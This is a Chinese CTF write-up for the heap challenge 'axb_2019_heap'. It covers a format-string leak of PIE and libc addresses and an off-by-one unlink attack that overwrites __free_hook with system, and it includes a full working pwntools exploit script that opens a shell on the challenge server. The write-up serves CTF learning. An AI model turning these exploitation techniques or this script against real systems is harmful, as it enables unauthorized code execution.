发现一个很有意思的题目,学到了一些东西,特此记录一下

逆向

main函数:
在format_string里面有格式化字符串漏洞

add函数:
很长,大体意思就是bss段上有一个key,如果key == 43,就可以申请fastbin大小的chunk,否则不可以

get_input里面存在off-by-one漏洞,别的函数就不看了,节省时间

思路

这个题目在bss上是有heaparray的,但是保护全开,有个format string漏洞
思路就出来了,我们可以利用格式化字符串泄漏相关地址,然后实施unlink攻击
我们调试一下,直接定位到printf的位置单步调试
注意,调试格式化字符串漏洞的时候一定要进入到输入点之前才能确定栈上的位置

tips:在pwndbg里面我们可以利用命令fmtarg来确定是格式化字符串的第几个参数

fmtarg 0x7ffdb76453e8

main+28的地方发现是第十一个参数,__libc_start_main+20的地方发现是第十五个参数
但是注意,我们在打格式化的时候,%11p只是取栈的地址,要想取栈地址里面存的值要用$p
利用main+28可以泄漏出heaparray的地址,具体做法如下

.text:000000000000116A
.text:000000000000116A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000000116A                 public main
.text:000000000000116A main            proc near               ; DATA XREF: _start+1D↑o
.text:000000000000116A

可以看到在开启pie的情况下main的相对加载位置在0x116A处

.bss:0000000000202060                 public note
.bss:0000000000202060 note            db    ? ;               ; DATA XREF: add_note+DA↑o
.bss:0000000000202060                                         ; add_note+F4↑o ...

heaparray位于0x202060处,所以heaparray在被加载进内存的地址就等于(main+28)-28-0x116A+0x202060的地址
利用__libc_start_main来泄漏libc的地址

思路就是申请三个chunk,然后利用off-by-one溢出一个字节unlink到heaparray,然后改写__free_hook为system
为什么不改写__malloc_hook呢??因为程序内部存在检查,如果改写malloc相关的函数会报出"no hacker"之类的字符串
为什么不改写free呢??因为调试发现会crash掉

tips:unlink的时候注意

chunk0
chunk1
chunk2

我们通常是先构造fakechunk,然后free(1),但是我们伪造的fd和bk注意是heaparray[0] - 0x18和0x10的位置

本地能打通,远程一直报timeout的错误,用别人的脚本也这样,愁人

exp

from pwn import *

local = 0
if local == 1:
	p = process('./axb_2019_heap')
else:
	p = remote('node3.buuoj.cn',28566)

elf = ELF('./axb_2019_heap')
libc = ELF('./libc.so.6')

def dbg():
	context.log_level = 'debug'

def fmt(name):
	p.recvuntil('Enter your name:')
	p.sendline(name)

def add(index,size,content):
	p.sendlineafter('>> ','1')
	p.sendlineafter('Enter the index you want to create (0-10):',str(index))
	p.sendlineafter('Enter a size:',str(size))
	p.sendlineafter('Enter the content:',content)

def free(index):
	p.sendlineafter('>> ','2')
	p.sendlineafter('Enter an index:',str(index))

def edit(index,content):
	p.sendlineafter('>> ','4')
	p.sendlineafter('Enter an index:',str(index))
	p.sendafter('Enter the content:',content)

#dbg()
print("======= step 1 : by use fmtstr leak address libc + bss =======")
fmt('%11$p%15$p')
p.recvuntil('Hello,')
main = int(p.recv(15),16) - 28
__libc_start_main = int(p.recv(15),16) - 240
print("main ---> " + hex(main))
print("__libc_start_main ----> " + hex(__libc_start_main))

heaparray = main - 0x116A + 0x202060
print("heaparray in bss(DATA) ----> " + hex(heaparray))
libc_base = __libc_start_main - libc.sym['__libc_start_main']
print("libc base ---->" + hex(libc_base))

add(0,0x98,'A')		#chunk0
add(1,0xa0,'B')		#chunk1
add(2,0x90,'/bin/sh\x00')	#chunk2

print("======== step 2: unlink =========")
fd = heaparray - 0x18
bk = heaparray - 0x10
chunk0 = p64(0) + p64(0x91) + p64(fd) + p64(bk) +p64(0) * 14 + p64(0x90) + p64(0xb0)
edit(0,chunk0)
free(1)

print("======= step 3: attack __free_hook ======")
free = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

payload = p64(0) * 3 + p64(free) + p64(0x8) + b'\n'
print("这里写入8是因为我们要在bss上伪造chunksize,我们需要写入8字节的payload,即下文的p64(system)")            
edit(0,payload)

payload = p64(system)
print(hex(system))

#dbg()
edit(0,payload)

p.sendline('2')	
p.sendline('2')
p.interactive()